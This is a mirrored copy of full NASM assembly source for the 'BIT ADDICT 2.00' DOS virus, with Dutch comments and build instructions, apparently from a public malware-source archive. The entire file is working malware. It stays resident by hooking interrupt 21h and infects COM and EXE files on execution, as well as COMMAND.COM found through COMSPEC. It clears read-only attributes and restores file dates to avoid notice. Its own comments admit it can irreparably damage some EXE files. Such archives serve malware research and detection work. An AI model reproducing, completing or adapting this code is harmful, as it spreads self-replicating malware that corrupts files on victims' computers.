mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
530 lines
11 KiB
NASM
530 lines
11 KiB
NASM
|
; BIT ADDICT Versie 2.00
|
|||
|
;
|
|||
|
; Dit virus besmet exe en com-files, en als het opgestart wordt dan reserveert
|
|||
|
; hij 2 diskbuffers en copieert het virus daarheen om resident te blijven.
|
|||
|
; Als het virus resident is dan gaat hij in de environment naar de comspec
|
|||
|
; zoeken en besment dan de command interpreter (meestal COMMAND.COM).
|
|||
|
; Om dit virus te assambleren moet je met TASM, of MASM een OBJ-file maken en
|
|||
|
; dan linken naar een exe-file. Wees voorzichtig en veel plezier met dit virus.
|
|||
|
|
|||
|
; p.s. wil je dit virus nog aan NIEMAND geven zonder mijn toestemming, omdat
|
|||
|
; het virus nog niet helemaal af is, en waarschijnlijk ook niet helemaal zonder
|
|||
|
; fouten.
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;----- -----
|
|||
|
;----- Macros en andere hulpmiddellen -----
|
|||
|
;----- -----
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
|
|||
|
; wordt dan 128 bytes en er dus een foutmelding komt
|
|||
|
|
|||
|
jmpc macro Dest ; vervanging voor jc
|
|||
|
local @@00
|
|||
|
|
|||
|
jnc @@00
|
|||
|
jmp Dest
|
|||
|
@@00:
|
|||
|
endm
|
|||
|
|
|||
|
jmpnc macro Dest ; vervanging voor jnc
|
|||
|
local @@00
|
|||
|
|
|||
|
jc @@00
|
|||
|
jmp Dest
|
|||
|
@@00:
|
|||
|
endm
|
|||
|
|
|||
|
jmpe macro Dest ; vervanging voor je
|
|||
|
local @@00
|
|||
|
|
|||
|
jnz @@00
|
|||
|
jmp Dest
|
|||
|
@@00:
|
|||
|
endm
|
|||
|
|
|||
|
jmpne macro Dest ; vervanging voor jne
|
|||
|
local @@00
|
|||
|
|
|||
|
jz @@00
|
|||
|
jmp Dest
|
|||
|
@@00:
|
|||
|
endm
|
|||
|
|
|||
|
eseg segment
|
|||
|
mov ax,4c00h ; exit
|
|||
|
int 21h
|
|||
|
eseg ends
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;----- -----
|
|||
|
;----- Begin van het Bit Addict virus -----
|
|||
|
;----- -----
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
cseg segment
|
|||
|
assume cs:cseg,ds:cseg,es:cseg
|
|||
|
org 0
|
|||
|
|
|||
|
BeginCode equ $
|
|||
|
SavedCode equ this byte ; gegevens over het
|
|||
|
OldSignature dw 5a4dh ; programma voor het virus
|
|||
|
OldCSIP equ this dword
|
|||
|
OldIP dw 0
|
|||
|
OldCS dw 0
|
|||
|
OldSP dw 200h
|
|||
|
OldSS dw 0
|
|||
|
dw 3 dup(0)
|
|||
|
|
|||
|
Comspec db 'COMSPEC=' ; comspec environment variabele
|
|||
|
; om de command.com te vinden
|
|||
|
ID db 'BIT ADDICT 2.00' ; identificatie string
|
|||
|
ID_Length equ $-offset ID
|
|||
|
|
|||
|
Begin: push ax ; Programma om het virus
|
|||
|
push bx ; in het geheugen te zetten
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
cmp OldSignature,5a4dh
|
|||
|
je @@10
|
|||
|
mov si,offset SavedCode ; herstel begin van het
|
|||
|
mov di,100h ; com-programma
|
|||
|
mov cx,10h
|
|||
|
cld
|
|||
|
rep movsb
|
|||
|
mov OldSS,ss ; bewaar de waarden van
|
|||
|
mov OldSP,sp ; ss,sp,cs en ip
|
|||
|
sub OldSP,10h
|
|||
|
mov OldCS,es
|
|||
|
mov OldIP,100h
|
|||
|
jmp @@11
|
|||
|
@@10: mov ax,es ; bereken de waarden van
|
|||
|
add ax,10h ; ss,sp,cs en ip
|
|||
|
add OldCS,ax
|
|||
|
add OldSS,ax
|
|||
|
@@11: mov ax,4b40h ; controleer of Bit Addict al
|
|||
|
int 21h ; in het geheugen aanwezig is
|
|||
|
jc @@12
|
|||
|
mov ds,ax
|
|||
|
push cs ; vergelijk identificatie
|
|||
|
pop ds
|
|||
|
mov si,offset ID
|
|||
|
mov di,si
|
|||
|
mov cx,ID_Length
|
|||
|
cld
|
|||
|
repe cmpsb
|
|||
|
jmpne @@13
|
|||
|
@@12: mov ah,52h ; lees het adres van de eerste
|
|||
|
int 21h ; disk-buffer
|
|||
|
push bx
|
|||
|
mov ah,30h
|
|||
|
int 21h
|
|||
|
pop di
|
|||
|
cmp al,2 ; dit werkt niet op dos 1.x
|
|||
|
jmpc @@13
|
|||
|
cmp al,3 ; voor dos 2.x op 13h en voor
|
|||
|
adc di,12h ; dos 3+ op 12h
|
|||
|
lds si,es:[di]
|
|||
|
or si,si
|
|||
|
jne @@13
|
|||
|
push di
|
|||
|
movsw ; reserveer 1e buffer
|
|||
|
movsw
|
|||
|
pop di
|
|||
|
mov cx,ds
|
|||
|
mov dx,ds
|
|||
|
call GetBuffer ; reserveer 2e buffer
|
|||
|
jc @@13
|
|||
|
call CopyBitAddict ; Copieer bit addict naar
|
|||
|
pop es ; de buffers
|
|||
|
push es ; Infecteer bestand in de
|
|||
|
call InfectComspec ; comspec
|
|||
|
jmp @@14
|
|||
|
@@13: call RestoreBuffers
|
|||
|
@@14: pop es ; ga nu verder met het
|
|||
|
pop ds ; programma voor Bit Addict
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
cli
|
|||
|
mov ss,cs:OldSS
|
|||
|
mov sp,cs:OldSP
|
|||
|
sti
|
|||
|
jmp cs:OldCSIP
|
|||
|
|
|||
|
GetBuffer: ; reserveer een buffer
|
|||
|
push di ; cx = eerste buffer
|
|||
|
push es ; dx = laatste buffer
|
|||
|
jmp @@21
|
|||
|
@@20: push ds
|
|||
|
pop es
|
|||
|
mov di,si
|
|||
|
@@21: lds si,es:[di]
|
|||
|
or si,si
|
|||
|
jne @@23
|
|||
|
mov ax,ds
|
|||
|
sub ax,dx
|
|||
|
cmp ax,21h
|
|||
|
jne @@22
|
|||
|
mov dx,ds
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
clc
|
|||
|
jmp @@24
|
|||
|
@@22: mov ax,ds
|
|||
|
sub ax,cx
|
|||
|
neg ax
|
|||
|
cmp ax,21h
|
|||
|
jne @@20
|
|||
|
mov cx,ds
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
clc
|
|||
|
jmp @@24
|
|||
|
@@23: stc
|
|||
|
@@24: pop es
|
|||
|
pop di
|
|||
|
ret
|
|||
|
|
|||
|
CopyBitAddict:
|
|||
|
push cs ; copieer Bit Addict naar de
|
|||
|
pop ds ; gereserveerde buffers
|
|||
|
mov es,cx
|
|||
|
xor si,si
|
|||
|
xor di,di
|
|||
|
mov cx,CodeSize1
|
|||
|
cld
|
|||
|
rep movsb
|
|||
|
mov ds,ax ; leid interrupt 21h om naar
|
|||
|
mov ax,ds:[84h] ; Bit Addict
|
|||
|
mov word ptr es:OldInt21[0],ax
|
|||
|
mov ax,ds:[86h]
|
|||
|
mov word ptr es:OldInt21[2],ax
|
|||
|
mov word ptr ds:[84h],offset NewInt21
|
|||
|
mov word ptr ds:[86h],es
|
|||
|
ret
|
|||
|
|
|||
|
InfectComspec:
|
|||
|
mov es,es:[2ch] ; lees environment segment
|
|||
|
xor di,di
|
|||
|
push cs ; zoek naar de comspec
|
|||
|
pop ds ; variabele
|
|||
|
mov si,offset Comspec
|
|||
|
@@30: push si
|
|||
|
push di
|
|||
|
mov cx,8
|
|||
|
cld
|
|||
|
repe cmpsb
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
je @@31
|
|||
|
xor al,al
|
|||
|
mov cx,-1
|
|||
|
cld
|
|||
|
repne scasb
|
|||
|
cmp byte ptr es:[di],0
|
|||
|
jne @@30
|
|||
|
jmp @@32
|
|||
|
@@31: push es ; infecteer de COMMAND.COM of
|
|||
|
pop ds ; andere command interpreter
|
|||
|
lea dx,[di+8]
|
|||
|
push cs:OldIP
|
|||
|
push cs:OldCS
|
|||
|
push cs:OldSP
|
|||
|
push cs:OldSS
|
|||
|
call Infect
|
|||
|
pop cs:OldSS
|
|||
|
pop cs:OldSP
|
|||
|
pop cs:OldCS
|
|||
|
pop cs:OldIP
|
|||
|
@@32: ret
|
|||
|
|
|||
|
RestoreBuffers:
|
|||
|
mov ax,cx
|
|||
|
@@40: cmp ax,dx
|
|||
|
je @@42
|
|||
|
mov ds,ax
|
|||
|
add ax,21h
|
|||
|
mov word ptr ds:[0],0
|
|||
|
mov word ptr ds:[2],ax
|
|||
|
jmp @@40
|
|||
|
@@42: mov ds,dx
|
|||
|
mov ax,es:[di]
|
|||
|
mov ds:[0],ax
|
|||
|
mov word ptr es:[di],0
|
|||
|
mov ax,es:[di+2]
|
|||
|
mov ds:[2],ax
|
|||
|
mov es:[di+2],cx
|
|||
|
ret
|
|||
|
|
|||
|
NewInt21: ; Het nieuwe interrupt 21h
|
|||
|
pushf
|
|||
|
cmp ax,4b40h
|
|||
|
je InstallCheck
|
|||
|
cmp ah,4bh
|
|||
|
je Exec
|
|||
|
EOI: popf
|
|||
|
jmp cs:OldInt21
|
|||
|
|
|||
|
InstallCheck: ; Zo kan bit addict weten
|
|||
|
mov ax,cs ; dat er al een andere copy
|
|||
|
popf ; aanwezig is
|
|||
|
clc
|
|||
|
retf 2
|
|||
|
|
|||
|
ComHeader: ; dit stukje wordt voor een
|
|||
|
mov ax,cs ; COM-file geplaatst
|
|||
|
add ax,0100h
|
|||
|
OldSize equ this word-2
|
|||
|
push ax
|
|||
|
mov ax,offset Begin
|
|||
|
push ax
|
|||
|
retf
|
|||
|
|
|||
|
Exec: call Infect ; functie 4bh, infecteer eerste
|
|||
|
jmp EOI ; met Bit Addict
|
|||
|
|
|||
|
Infect: push ax ; Infecteer een file
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
push es
|
|||
|
mov ax,4300h ; lees attributen en bewaar
|
|||
|
int 21h ; ze
|
|||
|
jmpc @@62
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
test cx,1
|
|||
|
jz @@51
|
|||
|
mov ax,4301h ; set Read-Only attribuut
|
|||
|
and cx,0fffeh ; op nul
|
|||
|
int 21h
|
|||
|
jmpc @@61
|
|||
|
@@51: mov ax,3d02h ; open de file
|
|||
|
int 21h
|
|||
|
jmpc @@61
|
|||
|
mov bx,ax
|
|||
|
mov ax,5700h ; lees de datum en tijd en
|
|||
|
int 21h ; bewaar ze
|
|||
|
jmpc @@60
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push cs ; ds=es=cs
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov ah,3fh ; lees de header van de file
|
|||
|
mov cx,HeaderLength
|
|||
|
lea dx,Header
|
|||
|
int 21h
|
|||
|
jmpc @@59
|
|||
|
cmp ax,HeaderLength
|
|||
|
jne @@54
|
|||
|
cmp Signature,5a4dh
|
|||
|
jne @@52
|
|||
|
mov ax,ExeCS ; zoek de plaats waar de
|
|||
|
add ax,HeaderSize ; identificatie zou moeten
|
|||
|
mov dx,10h ; staan voor exe-files
|
|||
|
mul dx
|
|||
|
add ax,offset ID
|
|||
|
adc dx,0
|
|||
|
jmp @@53
|
|||
|
@@52: mov ax,ComCS ; doe hetzelfde maar dan voor
|
|||
|
mov dx,10h ; een com-file
|
|||
|
sub ax,dx
|
|||
|
mul dx
|
|||
|
add ax,offset ID
|
|||
|
adc dx,0
|
|||
|
@@53: mov cx,dx
|
|||
|
mov dx,ax
|
|||
|
mov ax,4200h
|
|||
|
int 21h
|
|||
|
mov ah,3fh ; lees de ID indien aanwezig
|
|||
|
mov cx,ID_Length
|
|||
|
lea dx,ID_Check
|
|||
|
int 21h
|
|||
|
lea si,ID_Check ; controleer of ID aanwezig
|
|||
|
lea di,ID ; is
|
|||
|
mov cx,ID_Length
|
|||
|
cld
|
|||
|
repe cmpsb
|
|||
|
jmpe @@59 ; als ID aanwezig is, stop dan
|
|||
|
cmp Signature,5a4dh
|
|||
|
je @@56
|
|||
|
@@54: mov ax,4202h ; infecteer com-files
|
|||
|
xor cx,cx ; ga naar het einde van de file
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
mov cx,10h ; aanpassen van de com-header
|
|||
|
div cx ; aan deze com-file
|
|||
|
or dx,dx
|
|||
|
je @@55
|
|||
|
push ax
|
|||
|
mov ah,40h
|
|||
|
mov cx,10h
|
|||
|
sub cx,dx
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
pop ax
|
|||
|
jmpc @@59
|
|||
|
inc ax
|
|||
|
@@55: add ax,10h
|
|||
|
mov OldSize,ax
|
|||
|
mov si,offset Header ; bewaar het eerste deel van
|
|||
|
mov di,offset SavedCode ; het programma
|
|||
|
mov cx,10h
|
|||
|
cld
|
|||
|
rep movsb
|
|||
|
mov ah,40h ; schrijf het virus achter het
|
|||
|
mov cx,CodeSize1 ; programma
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
jmpc @@59
|
|||
|
mov ax,4200h ; ga naar het begin van de file
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
jmpc @@59
|
|||
|
mov ah,40h ; overschrijf het begin van het
|
|||
|
mov cx,10h ; programma met de com-header
|
|||
|
mov dx,offset ComHeader
|
|||
|
int 21h
|
|||
|
jmp @@59
|
|||
|
@@56: mov OldSignature,5a4dh ; infecteer exe-files
|
|||
|
mov ax,ExeIP ; bewaar de oude waarden van
|
|||
|
mov OldIP,ax ; cs:ip en ss:sp
|
|||
|
mov ax,ExeCS
|
|||
|
mov OldCS,ax
|
|||
|
mov ax,ExeSP
|
|||
|
mov OldSP,ax
|
|||
|
mov ax,ExeSS
|
|||
|
mov OldSS,ax
|
|||
|
mov ax,PageCount ; pas de waarden van cs:ip en
|
|||
|
dec ax ; ss:sp aan, en pas ook de
|
|||
|
mov cx,200h ; lengte van de file aan
|
|||
|
mul cx
|
|||
|
add ax,PartPage
|
|||
|
adc dx,0
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax
|
|||
|
mov ax,4200h
|
|||
|
int 21h
|
|||
|
mov cx,10h
|
|||
|
div cx
|
|||
|
or dx,dx
|
|||
|
je @@57
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
mov ah,40h
|
|||
|
mov cx,10h
|
|||
|
sub cx,dx
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
jc @@59
|
|||
|
inc ax
|
|||
|
@@57: sub ax,HeaderSize
|
|||
|
mov ExeCS,ax
|
|||
|
mov ExeIP,offset Begin
|
|||
|
add ax,CodeSizePara2
|
|||
|
mov ExeSS,ax
|
|||
|
mov ExeSP,200h
|
|||
|
mov ax,MinMem
|
|||
|
cmp ax,20h+CodeSizePara2-CodeSizePara1
|
|||
|
jae @@58
|
|||
|
mov ax,20h
|
|||
|
@@58: mov MinMem,ax
|
|||
|
mov ax,PartPage
|
|||
|
add ax,CodeSize1
|
|||
|
add ax,dx
|
|||
|
mov cx,200h
|
|||
|
xor dx,dx
|
|||
|
div cx
|
|||
|
add PageCount,ax
|
|||
|
mov PartPage,dx
|
|||
|
mov ah,40h ; schrijf het virus achter
|
|||
|
mov cx,CodeSize1 ; de exe-file, indien de
|
|||
|
xor dx,dx ; exe-file overlays bevat dan
|
|||
|
int 21h ; worden ze overschreven en is
|
|||
|
jc @@59 ; de exe-file onherstelbaar
|
|||
|
mov ax,4200h ; beschadigd
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx ; ga naar het begin van de file
|
|||
|
int 21h
|
|||
|
jc @@59
|
|||
|
mov ah,40h ; schrijf de nieuwe exe-header
|
|||
|
mov cx,HeaderLength ; over de oude heen.
|
|||
|
mov dx,offset Header
|
|||
|
int 21h
|
|||
|
@@59: pop dx ; herstel de datum van de file
|
|||
|
pop cx
|
|||
|
mov ax,5701h
|
|||
|
int 21h
|
|||
|
@@60: mov ah,3eh ; sluit de file
|
|||
|
int 21h
|
|||
|
@@61: pop ds ; herstel de attributen van de
|
|||
|
pop dx ; file
|
|||
|
pop cx
|
|||
|
test cx,1
|
|||
|
jz @@62
|
|||
|
mov ax,4301h
|
|||
|
int 21h
|
|||
|
@@62: pop es ; herstel de waarden van de
|
|||
|
pop bp ; registers en keer terug
|
|||
|
pop di ; naar het oude interrupt 21
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
CodeSize1 equ $-BeginCode
|
|||
|
CodeSizePara1 equ ($-BeginCode+0fh) / 10h
|
|||
|
|
|||
|
Header dw 14h dup(?)
|
|||
|
ComCS equ Header[ComHeader-OldSize] ; Com file
|
|||
|
|
|||
|
Signature equ Header[0h] ; Exe file
|
|||
|
PartPage equ Header[2h]
|
|||
|
PageCount equ Header[4h]
|
|||
|
ReloCount equ Header[6h]
|
|||
|
HeaderSize equ Header[8h]
|
|||
|
MinMem equ Header[0ah]
|
|||
|
MaxMem equ Header[0ch]
|
|||
|
ExeSS equ Header[0eh]
|
|||
|
ExeSP equ Header[10h]
|
|||
|
ChkSum equ Header[12h]
|
|||
|
ExeIP equ Header[14h]
|
|||
|
ExeCS equ Header[16h]
|
|||
|
TablOfs equ Header[18h]
|
|||
|
OverlayNr equ Header[1ah]
|
|||
|
HeaderLength equ 1ch
|
|||
|
|
|||
|
ID_Check db ID_Length dup(?)
|
|||
|
|
|||
|
OldInt21 dd ?
|
|||
|
|
|||
|
CodeSize2 equ $-BeginCode
|
|||
|
CodeSizePara2 equ ($-BeginCode+0fh) / 10h
|
|||
|
|
|||
|
cseg ends
|
|||
|
|
|||
|
sseg segment stack
|
|||
|
db 200h dup(?)
|
|||
|
sseg ends
|
|||
|
|
|||
|
end Begin
|